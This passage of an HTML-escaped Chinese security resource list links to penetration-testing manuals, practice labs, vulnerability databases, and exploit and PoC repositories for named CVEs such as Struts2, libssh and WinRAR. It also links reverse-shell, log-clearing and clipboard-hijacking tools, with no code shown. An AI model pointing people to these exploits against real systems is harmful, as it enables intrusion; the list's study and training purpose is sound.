&lt;li&gt;&lt;a href=&quot;#head55&quot;&gt; 网站克隆镜像伪造&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head56&quot;&gt; 钓鱼框架邮件伪造&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head57&quot;&gt; 中间人攻击流量劫持&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head58&quot;&gt; 协议解析流量还原分析&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head59&quot;&gt;无线网络 WIFI 中间人攻击&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head60&quot;&gt;无线网络 WIFI 防御&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head61&quot;&gt;无线网络 WIFI 审计测试&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head62&quot;&gt; 无线局域网的分析工具组成&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head63&quot;&gt; 数据取回隐秘传输&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head64&quot;&gt; 硬件安全&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head65&quot;&gt;IoT 安全&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head66&quot;&gt; 摄像头安全&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head67&quot;&gt; 路由安全&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head68&quot;&gt; 物联网安全&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head69&quot;&gt;Fuzz 模糊测试漏洞挖掘&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head70&quot;&gt; 安全防护&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head71&quot;&gt; 代码审计应用测试&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head72&quot;&gt; 大数据平台安全&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head73&quot;&gt; 蜜罐安全&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head74&quot;&gt;Web 蜜罐内网监测&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head75&quot;&gt; 摄像头蜜罐&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head76&quot;&gt; 工控蜜罐&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head77&quot;&gt; 逆向相关&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head78&quot;&gt;CTF 相关&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head79&quot;&gt; 计算机与移动设备取证调查&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head80&quot;&gt; 移动安全&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head81&quot;&gt;防火墙规则、Waf、CDN 相关&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head82&quot;&gt; 入侵检测&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head83&quot;&gt; 恶意文件测与样本分析&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head84&quot;&gt;恶意文件检测之 Webshell 查杀扫描&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head85&quot;&gt;压力测试与 DDOS 相关&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head86&quot;&gt;匿名信息保护洋葱路由 TorBrowser&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head87&quot;&gt; 爬虫相关&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head88&quot;&gt; 在线自服务与工具&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head89&quot;&gt; 旁站查询&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head90&quot;&gt; 隐私匿名加密&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head91&quot;&gt; 在线资源&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head1&quot;&amp;gt; 攻防测试手册&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://micropoor.blogspot.com/2019/01/php8.html PHP 安全新闻早 8 点课程系列高持续渗透--Microporor&lt;/li&gt;
&lt;li&gt;https://github.com/Micropoor/Micro8 Microporor 高级攻防 100 课&lt;/li&gt;
&lt;li&gt;https://github.com/maskhed/Papers 包含 100 课等经典攻防教材、安全知识&lt;/li&gt;
&lt;li&gt;https://github.com/infosecn1nja/AD-Attack-Defense 红蓝方攻防手册&lt;/li&gt;
&lt;li&gt;https://github.com/yeyintminthuhtut/Awesome-Red-Teaming 优秀红队资源列表&lt;/li&gt;
&lt;li&gt;https://github.com/foobarto/redteam-notebook 红队标准渗透测试流程+常用命令&lt;/li&gt;
&lt;li&gt;https://github.com/tom0li/collection-document 文章收集：安全部、SDL、src、渗透测试、漏洞利用&lt;/li&gt;
&lt;li&gt;https://github.com/kbandla/APTnotes 各种公开的文件和相关的 APT 笔记，还有软件样本&lt;/li&gt;
&lt;li&gt;https://wizardforcel.gitbooks.io/web-hacking-101/content Web Hacking 101 中文版&lt;/li&gt;
&lt;li&gt;https://techvomit.net/web-application-penetration-testing-notes/ web 渗透测试笔记&lt;/li&gt;
&lt;li&gt;https://github.com/qazbnm456/awesome-web-security Web 安全资料和资源列表&lt;/li&gt;
&lt;li&gt;http://pentestmonkey.net/category/cheat-sheet 渗透测试常见条目&lt;/li&gt;
&lt;li&gt;https://github.com/demonsec666/Security-Toolkit 渗透攻击链中常用工具及使用场景&lt;/li&gt;
&lt;li&gt;https://github.com/Kinimiwar/Penetration-Testing 渗透测试方向优秀资源收集&lt;/li&gt;
&lt;li&gt;https://github.com/jshaw87/Cheatsheets 渗透测试/安全秘籍/笔记&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head2&quot;&amp;gt; 内网安全文档&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://attack.mitre.org/wiki/Lateral_Movement mitre 机构对横向移动的总结&lt;/li&gt;
&lt;li&gt;https://payloads.online/archivers/2018-11-30/1 彻底理解 Windows 认证 - 议题解读&lt;/li&gt;
&lt;li&gt;https://github.com/klionsec/klionsec.github.io 内网大牛的学习历程&lt;/li&gt;
&lt;li&gt;https://github.com/l3m0n/pentest_study 从零开始内网渗透学习&lt;/li&gt;
&lt;li&gt;https://github.com/Ridter/Intranet_Penetration_Tips 内网渗透 TIPS&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head3&quot;&amp;gt; 学习手册相关资源&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/HarmJ0y/CheatSheets 多个项目的速查手册（Beacon / CobaltStrike，PowerView，PowerUp，Empire 和 PowerSploit）&lt;/li&gt;
&lt;li&gt;https://wizardforcel.gitbooks.io/kali-linux-web-pentest-cookbook/content/ Kali Linux Web 渗透测试秘籍 中文版&lt;/li&gt;
&lt;li&gt;https://github.com/louchaooo/kali-tools-zh kali 下工具使用介绍手册&lt;/li&gt;
&lt;li&gt;https://www.offensive-security.com/metasploit-unleashed/ kali 出的 metasploit 指导笔记&lt;/li&gt;
&lt;li&gt;http://www.hackingarticles.in/comprehensive-guide-on-hydra-a-brute-forcing-tool/ hydra 使用手册&lt;/li&gt;
&lt;li&gt;https://www.gitbook.com/book/t0data/burpsuite/details burpsuite 实战指南&lt;/li&gt;
&lt;li&gt;https://zhuanlan.zhihu.com/p/26618074 Nmap 扩展脚本使用方法&lt;/li&gt;
&lt;li&gt;https://somdev.me/21-things-xss/ XSS 的 21 个扩展用途&lt;/li&gt;
&lt;li&gt;https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/ sql 注入 sheet 表&lt;/li&gt;
&lt;li&gt;https://sqlwiki.netspi.com/ 你要的 sql 注入知识点都能找到&lt;/li&gt;
&lt;li&gt;https://github.com/kevins1022/SQLInjectionWiki 一个专注于聚合和记录各种 SQL 注入方法的 wiki&lt;/li&gt;
&lt;li&gt;https://github.com/hardenedlinux/linux-exploit-development-tutorial Linux exploit 开发入门&lt;/li&gt;
&lt;li&gt;https://wizardforcel.gitbooks.io/asani/content 浅入浅出 Android 安全 中文版&lt;/li&gt;
&lt;li&gt;https://wizardforcel.gitbooks.io/lpad/content Android 渗透测试学习手册 中文版&lt;/li&gt;
&lt;li&gt;https://github.com/writeups/ios ios 漏洞 writeup 笔记&lt;/li&gt;
&lt;li&gt;http://blog.safebuff.com/2016/07/03/SSRF-Tips/ ssrf 漏洞利用手册&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head4&quot;&amp;gt;Checklist 和基础安全知识&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://book.yunzhan365.com/umta/rtnp/mobile/index.html 网络安全科普小册子&lt;/li&gt;
&lt;li&gt;http://sec.cuc.edu.cn/huangwei/textbook/ns/ 网络安全电子版教材。中传信安课程网站&lt;/li&gt;
&lt;li&gt;https://mitre.github.io/attack-navigator/enterprise/ mitre 机构 att&amp;amp;ck 入侵检测条目&lt;/li&gt;
&lt;li&gt;https://github.com/danielmiessler/SecLists 表类型包括用户名，密码，URL，敏感数据模式，模糊测试负载，Web shell 等&lt;/li&gt;
&lt;li&gt;https://github.com/GitGuardian/APISecurityBestPractices api 接口测试 checklist&lt;/li&gt;
&lt;li&gt;https://github.com/ym2011/SecurityManagement 分享在建设安全管理体系、ISO27001、等级保护、安全评审过程中的点点滴滴&lt;/li&gt;
&lt;li&gt;https://mp.weixin.qq.com/s/O36e0gl4cs0ErQPsb5L68Q 区块链，以太坊智能合约审计 CheckList&lt;/li&gt;
&lt;li&gt;https://github.com/slowmist/eos-bp-nodes-security-checklist 区块链，EOS bp nodes securitychecklist（EOS 超级节点安全执行指南）&lt;/li&gt;
&lt;li&gt;https://xz.aliyun.com/t/2089 金融科技 SDL 安全设计 checklist&lt;/li&gt;
&lt;li&gt;https://github.com/juliocesarfort/public-pentesting-reports 由几家咨询公司和学术安全组织发布的公共渗透测试报告的列表。&lt;/li&gt;
&lt;li&gt;http://www.freebuf.com/articles/network/169632.html 开源软件创建 SOC 的一份清单&lt;/li&gt;
&lt;li&gt;https://github.com/0xRadi/OWASP-Web-Checklist owasp 网站检查条目&lt;/li&gt;
&lt;li&gt;https://www.securitypaper.org/ SDL 开发安全生命周期管理&lt;/li&gt;
&lt;li&gt;https://github.com/Jsitech/JShielder linux 下服务器一键加固脚本&lt;/li&gt;
&lt;li&gt;https://github.com/wstart/DB_BaseLine 数据库基线检查工具&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head5&quot;&amp;gt; 产品设计文档&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.freebuf.com/sectool/135032.html 构建一个高交互型的难以发现的蜜罐&lt;/li&gt;
&lt;li&gt;https://bloodzer0.github.io/ossa/ 利用开源文件进行开源安全架构.主机、扫描器、端口、日志、防护设备&lt;/li&gt;
&lt;li&gt;https://github.com/dvf/blockchain 用 Python 从零开始创建区块链&lt;/li&gt;
&lt;li&gt;https://github.com/crazywa1ker/DarthSidious-Chinese 从 0 开始你的域渗透之旅，DarthSidious 中文版&lt;/li&gt;
&lt;li&gt;https://paper.seebug.org/772/ 如何使用 KittyFuzzer 结合 ISF 中的工控协议组件对工控协议进行 Fuzz&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head6&quot;&amp;gt; 学习靶场&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.blackmoreops.com/2018/11/06/124-legal-hacking-websites-to-practice-and-learn/ 124 个合法的可以练习 Hacking 技术的网站&lt;/li&gt;
&lt;li&gt;https://www.zhihu.com/question/267204109 学 web 安全去哪里找各种各样的靶场？&lt;/li&gt;
&lt;li&gt;https://www.vulnhub.com 许多 ctf 靶机汇总&lt;/li&gt;
&lt;li&gt;https://www.wechall.net 世界知名 ctf 汇总交流网站&lt;/li&gt;
&lt;li&gt;https://www.xssgame.com 谷歌 XSS 挑战&lt;/li&gt;
&lt;li&gt;http://xss.tv 在线靶场挑战&lt;/li&gt;
&lt;li&gt;https://www.hackthebox.eu 在线靶场挑战&lt;/li&gt;
&lt;li&gt;https://www.root-me.org 在线靶场挑战&lt;/li&gt;
&lt;li&gt;http://www.itsecgames.com bWAPP，包含 100 多种漏洞环境&lt;/li&gt;
&lt;li&gt;https://github.com/c0ny1/vulstudy 多种漏洞复现系统的 docker 汇总&lt;/li&gt;
&lt;li&gt;https://github.com/bkimminich/juice-shop 常见 web 安全实验靶场市场&lt;/li&gt;
&lt;li&gt;https://github.com/ethicalhack3r/DVWA web 安全实验靶场&lt;/li&gt;
&lt;li&gt;https://www.freebuf.com/articles/web/123779.html 新手指南：DVWA-1.9 全级别教程&lt;/li&gt;
&lt;li&gt;https://github.com/78778443/permeate php，常见漏洞靶场&lt;/li&gt;
&lt;li&gt;https://github.com/gh0stkey/DoraBox php,常见漏洞靶场&lt;/li&gt;
&lt;li&gt;https://github.com/stamparm/DSVW py2,常见漏洞靶场&lt;/li&gt;
&lt;li&gt;https://github.com/amolnaik4/bodhi py,常见漏洞靶场&lt;/li&gt;
&lt;li&gt;https://github.com/Safflower/Solve-Me php，韩国一个偏代码审计的 ctf 靶场源码&lt;/li&gt;
&lt;li&gt;https://github.com/WebGoat/WebGoat 一键 jar 包，web 安全实验靶场&lt;/li&gt;
&lt;li&gt;https://github.com/Audi-1/sqli-labs 基于 SQLite 的 sql 注入学习靶场&lt;/li&gt;
&lt;li&gt;https://github.com/lcamry/sqli-labs 通过 sqli-labs 演示 mysql 相关的注入手法&lt;/li&gt;
&lt;li&gt;https://github.com/c0ny1/upload-labs 一个帮你总结所有类型的上传漏洞的靶场&lt;/li&gt;
&lt;li&gt;https://github.com/LandGrey/upload-labs-writeup upload-labs 指导手册&lt;/li&gt;
&lt;li&gt;https://github.com/Go0s/LFIboomCTF 本地文件包含漏洞&amp;amp;&amp;amp;PHP 利用协议&amp;amp;&amp;amp;实践源码&lt;/li&gt;
&lt;li&gt;https://in.security/lin-security-practise-your-linux-privilege-escalation-foo/ 一个虚拟机文件用于 linux 提权练习&lt;/li&gt;
&lt;li&gt;https://github.com/OWASP/igoat 适用于 ios 应用程序测试和安全性的学习工具&lt;/li&gt;
&lt;li&gt;https://github.com/prateek147/DVIA-v2 适用于 ios 应用程序测试和安全性的学习工具&lt;/li&gt;
&lt;li&gt;https://github.com/rapid7/metasploitable3 metasploit 练习系统&lt;/li&gt;
&lt;li&gt;https://github.com/rapid7/metasploit-vulnerability-emulator 基于 perl 的 metasploit 模拟环境，练习操作&lt;/li&gt;
&lt;li&gt;https://github.com/chryzsh/DarthSidious AD 域环境的搭建、渗透、防护&lt;/li&gt;
&lt;li&gt;https://github.com/c0ny1/xxe-lab 一个包含 php,java,python,C#等各种语言版本的 XXE 漏洞 Demo&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head7&quot;&amp;gt; 漏洞复现&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/vulhub/vulhub Vulhub 是一个面向大众的开源漏洞靶场，无需 docker 知识，执行两条命令即可编译、运行一个完整的漏洞靶场镜像&lt;/li&gt;
&lt;li&gt;https://github.com/Medicean/VulApps 收集各种漏洞环境，为方便使用，统一采用Dockerfile 形式。同时也收集了安全工具环境。&lt;/li&gt;
&lt;li&gt;https://github.com/bingohuang/docker-labs 制作在线 docker 平台&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head8&quot;&amp;gt; 开源漏洞库&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://wooyun.kieran.top/#!/ 2016 年之前，乌云 Drops 文章，公开漏洞详情文章&lt;/li&gt;
&lt;li&gt;https://wooyun.js.org/ 2016 年之前，乌云 Drops 文章，公开漏洞详情文章&lt;/li&gt;
&lt;li&gt;https://dvpnet.io/list/index/state/3 公开漏洞详情文章&lt;/li&gt;
&lt;li&gt;https://sec.ly.com/bugs 同程安全公开漏洞详情文章&lt;/li&gt;
&lt;li&gt;http://ics.cnvd.org.cn 中国国家工控漏洞库&lt;/li&gt;
&lt;li&gt;https://ics-cert.us-cert.gov/advisories 美国国家工控漏洞库&lt;/li&gt;
&lt;li&gt;http://www.nsfocus.net/index.php?act=sec_bug 绿盟漏洞库，含工控&lt;/li&gt;
&lt;li&gt;http://ivd.winicssec.com/ 威努特工控漏洞库&lt;/li&gt;
&lt;li&gt;http://cve.scap.org.cn/view/ics CVE 中文工控漏洞库&lt;/li&gt;
&lt;li&gt;https://cve.mitre.org/cve/search_cve_list.html 美国 MITRE 公司负责维护的 CVE 漏洞库&lt;/li&gt;
&lt;li&gt;https://www.exploit-db.com 美国 Offensive Security 的漏洞库&lt;/li&gt;
&lt;li&gt;https://nvd.nist.gov/vuln/search 美国国家信息安全漏洞库&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head9&quot;&amp;gt; 工具包集合&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://www.4hou.com/web/11241.html 史上最全攻击模拟工具盘点&lt;/li&gt;
&lt;li&gt;https://github.com/infosecn1nja/Red-Teaming-Toolkit 信息收集、攻击尝试获得权限、持久性控制、权限提升、网络信息收集、横向移动、数据分析（在这个基础上再做持久化控制）、清理痕迹&lt;/li&gt;
&lt;li&gt;https://github.com/toolswatch/blackhat-arsenal-tools 黑帽大会工具集&lt;/li&gt;
&lt;li&gt;https://www.cnblogs.com/k8gege K8 哥哥工具包集合。解压密码 Kk8team,Kk8gege&lt;/li&gt;
&lt;li&gt;https://github.com/n00py/ReadingList/blob/master/gunsafe.txt 安全工具集&lt;/li&gt;
&lt;li&gt;https://github.com/Ridter/Pentest 安全工具集&lt;/li&gt;
&lt;li&gt;https://github.com/redcanaryco/atomic-red-team win、linux、mac 等多方面 apt 利用手段、技术与工具集&lt;/li&gt;
&lt;li&gt;https://github.com/Cooolis/Cooolis.github.io Cooolis 是一个操作系统命令技巧备忘录，https://cooolis.payloads.online&lt;/li&gt;
&lt;li&gt;https://github.com/LOLBAS-Project/LOLBAS 常见的渗透测试利用的脚本与二进制文件集合&lt;/li&gt;
&lt;li&gt;https://www.owasp.org/index.php/File:CSRFTester-1.0.zip csrf 验证工具&lt;/li&gt;
&lt;li&gt;https://github.com/ufrisk/MemProcFS 以访问文件系统的方式访问物理内存, 可读写, 有易于使用的接口. 当前支持Windows&lt;/li&gt;
&lt;li&gt;https://github.com/vletoux/SpoolerScanner 检测 Windows 远程打印机服务是否开启的工具&lt;/li&gt;
&lt;li&gt;https://github.com/sirpsycho/firecall 直接向 CiscoASA 防火墙发送命令, 无需登录防火墙后再做修改&lt;/li&gt;
&lt;li&gt;https://github.com/jboss-javassist/javassist 能够操作字节码框架，通过它我们能很轻易的修改class 代码文件&lt;/li&gt;
&lt;li&gt;https://github.com/ConsenSys/mythril-classic 用于以太坊智能协议的安全分析工具&lt;/li&gt;
&lt;li&gt;https://github.com/a13xp0p0v/kconfig-hardened-check 用于检查 Linux 内核配置中的安全加固选项的脚本&lt;/li&gt;
&lt;li&gt;https://github.com/lionsoul2014/ip2region ip 地址定位库，支持 python3 等多接口。类比 geoip&lt;/li&gt;
&lt;li&gt;https://github.com/m101/hsploit 基于 rust 的 HEVD 漏洞利用程序&lt;/li&gt;
&lt;li&gt;https://github.com/ticarpi/jwt_tool 针对 json web token 的检测&lt;/li&gt;
&lt;li&gt;https://github.com/clr2of8/DPAT 域密码配置审计&lt;/li&gt;
&lt;li&gt;https://github.com/chenjj/CORScanner 域解析漏洞，跨域扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/dienuet/crossdomain 域解析漏洞，跨域扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/sfan5/fi6s ipv6 端口快速扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/lavalamp-/ipv666 go,ipv6 地址枚举扫描&lt;/li&gt;
&lt;li&gt;https://github.com/commixproject/commix 命令注入漏洞扫描&lt;/li&gt;
&lt;li&gt;https://github.com/Graph-X/davscan DAVScan 是一款快速轻便的 webdav 扫描仪，旨在发现 DAV 启用的 Web 服务器上的隐藏文件和文件夹&lt;/li&gt;
&lt;li&gt;https://github.com/jcesarstef/dotdotslash 目录遍历漏洞测试&lt;/li&gt;
&lt;li&gt;https://github.com/P3GLEG/WhaleTail 根据 docker 镜像生成成 dockerfile&lt;/li&gt;
&lt;li&gt;https://github.com/cr0hn/dockerscan docker 扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/utiso/dorkbot 通过定制化的谷歌搜索引擎进行漏洞页面搜寻及扫描&lt;/li&gt;
&lt;li&gt;https://github.com/NullArray/DorkNet 基于搜索引擎的漏洞网页搜寻&lt;/li&gt;
&lt;li&gt;https://github.com/panda-re/lava 大规模向程序中植入恶意程&lt;/li&gt;
&lt;li&gt;https://github.com/woj-ciech/Danger-zone 关联域名、IP 和电子邮件地址之间的数据并将其可视化输出&lt;/li&gt;
&lt;li&gt;https://github.com/securemode/DefenderKeys 枚举出被 Windows Defender 排除扫描的配置&lt;/li&gt;
&lt;li&gt;https://github.com/D4Vinci/PasteJacker 剪贴板劫持利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/JusticeRage/freedomfighting 日志清理、文件共享、反向 shell、简单爬虫工具包&lt;/li&gt;
&lt;li&gt;https://github.com/gh0stkey/PoCBox 漏洞测试验证辅助平台，SONP 劫持、CORS、Flash 跨域资源读取、GoogleHack 语法生成、URL 测试字典生成、JavaScriptURL 跳转、302 URL 跳转&lt;/li&gt;
&lt;li&gt;https://github.com/jakubroztocil/httpie http 调试工具，类似 curl，功能更完善&lt;/li&gt;
&lt;li&gt;https://www.getpostman.com/ http 调试工具，带界面&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head10&quot;&amp;gt;漏洞收集与 Exp、Poc 利用&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/Lcys/Python_PoC python3 的 poc、exp 快速编写模板，有众多模范版本&lt;/li&gt;
&lt;li&gt;https://github.com/raminfp/linux_exploit_development linux 漏洞利用开发手册&lt;/li&gt;
&lt;li&gt;https://github.com/mudongliang/LinuxFlaw 包含 linux 下软件漏洞列表&lt;/li&gt;
&lt;li&gt;https://github.com/coffeehb/Some-PoC-oR-ExP 各种漏洞 poc、Exp 的收集或编写&lt;/li&gt;
&lt;li&gt;https://github.com/userlandkernel/plataoplomo Sem Voigtländer公开其发现的 iOS 中各种漏洞，包括（Writeup/POC/Exploit）&lt;/li&gt;
&lt;li&gt;https://github.com/coffeehb/Some-PoC-oR-ExP/blob/master/check_icmp_dos.py CVE-2018-4407，macos/ios 缓冲区溢出可导致系统崩溃&lt;/li&gt;
&lt;li&gt;https://github.com/vulnersCom/getsploit py2,仿照 searchsploit 通过各种数据库的官方接口进行 payload 的查找&lt;/li&gt;
&lt;li&gt;https://github.com/SecWiki/CMS-Hunter CMS 漏洞测试用例集合&lt;/li&gt;
&lt;li&gt;https://github.com/Mr5m1th/0day 各种开源 CMS 各种版本的漏洞以及 EXP&lt;/li&gt;
&lt;li&gt;https://github.com/w1109790800/penetration CMS 新老版本 exp 与系统漏洞搜集表&lt;/li&gt;
&lt;li&gt;https://github.com/blacknbunny/libSSH-Authentication-Bypass CVE-2018-10933，libssh 服务端身份验证绕过&lt;/li&gt;
&lt;li&gt;https://github.com/leapsecurity/libssh-scanner CVE-2018-10933，libssh 服务端身份验证绕过&lt;/li&gt;
&lt;li&gt;https://github.com/anbai-inc/CVE-2018-4878 Adobe FlashExploit 生成payload&lt;/li&gt;
&lt;li&gt;https://github.com/RetireJS/grunt-retire 扫描 js 扩展库的常见漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/coffeehb/SSTIF 服务器端模板注入漏洞的半自动化工具&lt;/li&gt;
&lt;li&gt;https://github.com/tijme/angularjs-csti-scanner 探测客户端 AngularJS 模板注入漏洞工具&lt;/li&gt;
&lt;li&gt;https://github.com/blackye/Jenkins Jenkins 漏洞探测、用户抓取爆破&lt;/li&gt;
&lt;li&gt;https://github.com/epinna/tplmap 服务器端模板注入漏洞检测与利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/irsdl/IIS-ShortName-Scanner Java,IIS 短文件名暴力枚举漏洞利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/lijiejie/IIS_shortname_Scanner py2,IIS 短文件名漏洞扫描&lt;/li&gt;
&lt;li&gt;https://github.com/rudSarkar/crlf-injector CRLF 注入漏洞批量扫描&lt;/li&gt;
&lt;li&gt;https://github.com/hahwul/a2sv SSL 漏洞扫描，例如心脏滴血漏洞等&lt;/li&gt;
&lt;li&gt;https://github.com/jagracey/Regex-DoS RegEx 拒绝服务扫描器&lt;/li&gt;
&lt;li&gt;https://github.com/Bo0oM/PHP_imap_open_exploit 利用 imap_open 绕过 php exec 函数禁用&lt;/li&gt;
&lt;li&gt;https://www.anquanke.com/post/id/106488 利用 mysql 服务端恶意配置读取客户端文件，（如何利用 MySQL LOCAL INFILE 读取客户端文件，Read MySQL Client&apos;sFile，【技术分享】从 MySQL 出发的反击之路）&lt;/li&gt;
&lt;li&gt;https://www.waitalone.cn/awvs-poc.html CVE-2015-4027，AWVS10 命令执行漏洞&lt;/li&gt;
&lt;li&gt;http://an7isec.blogspot.com/2014/04/pown-noobs-acunetix-0day.html Pwn the n00bs -Acunetix 0day，awvs8命令执行漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/numpy/numpy/issues/12759 科学计算框架 numpy 命令执行 RCE 漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC jenkins 远程命令执行&lt;/li&gt;
&lt;li&gt;https://github.com/WyAtu/CVE-2018-20250 WinRar 执行漏洞加使用介绍&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head11&quot;&amp;gt; 物联网路由工控漏洞收集&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/yassineaboukir/CVE-2018-0296 测试思科 ASA 路径穿越漏洞，可获取系统详细信息&lt;/li&gt;
&lt;li&gt;https://github.com/seclab-ucr/tcp_exploit 利用 tcp 漏洞使无线路由器产生隐私泄露&lt;/li&gt;
&lt;li&gt;https://github.com/ezelf/CVE-2018-9995_dvr_credentials CVE-2018-9995 摄像头路由，Get DVR Credentials&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head12&quot;&amp;gt; Java安全相关的漏洞&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/threedr3am/learnjavabug Java安全相关的漏洞和技术demo&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head13&quot;&amp;gt;Java 反序列化漏洞收集&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/brianwrf/hackUtils java 反序列化利用&lt;/li&gt;
&lt;li&gt;https://github.com/GoSecure/break-fast-serial 借助 DNS 解析来检测&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head14&quot;&amp;gt;Java 反序列化漏洞工具&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/s1kr10s/Apache-Struts-v3 Apache-Struts 漏洞利用工具&lt;/li&gt;
&lt;li&gt;https://github.com/iBearcat/S2-057 struts2 CVE-2018-11776 漏洞检测工具&lt;/li&gt;
&lt;li&gt;https://github.com/Ivan1ee/struts2-057-exp struts2-057 利用脚本&lt;/li&gt;
&lt;li&gt;https://github.com/theLSA/s2sniper struts2 漏洞的检测工具&lt;/li&gt;
&lt;li&gt;https://github.com/Lucifer1993/struts-scan 批量检测 struts 命令执行漏洞&lt;/li&gt;
&lt;li&gt;https://github.com/lijiejie/struts2_045_scan Struts2-045 漏洞批量扫描工具&lt;/li&gt;
&lt;li&gt;https://github.com/riusksk/StrutScan 基于 perl 的 strut2 的历史漏洞扫描&lt;/li&gt;
&lt;li&gt;https://github.com/Coalfire-Research/java-deserialization-exploits java&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&amp;lt;span id=&quot;head15&quot;&amp;gt; 反序列化漏洞收集&amp;lt;/span&amp;gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/quentinhardy/jndiat weblogic 漏洞利用工具&lt;/li&gt;
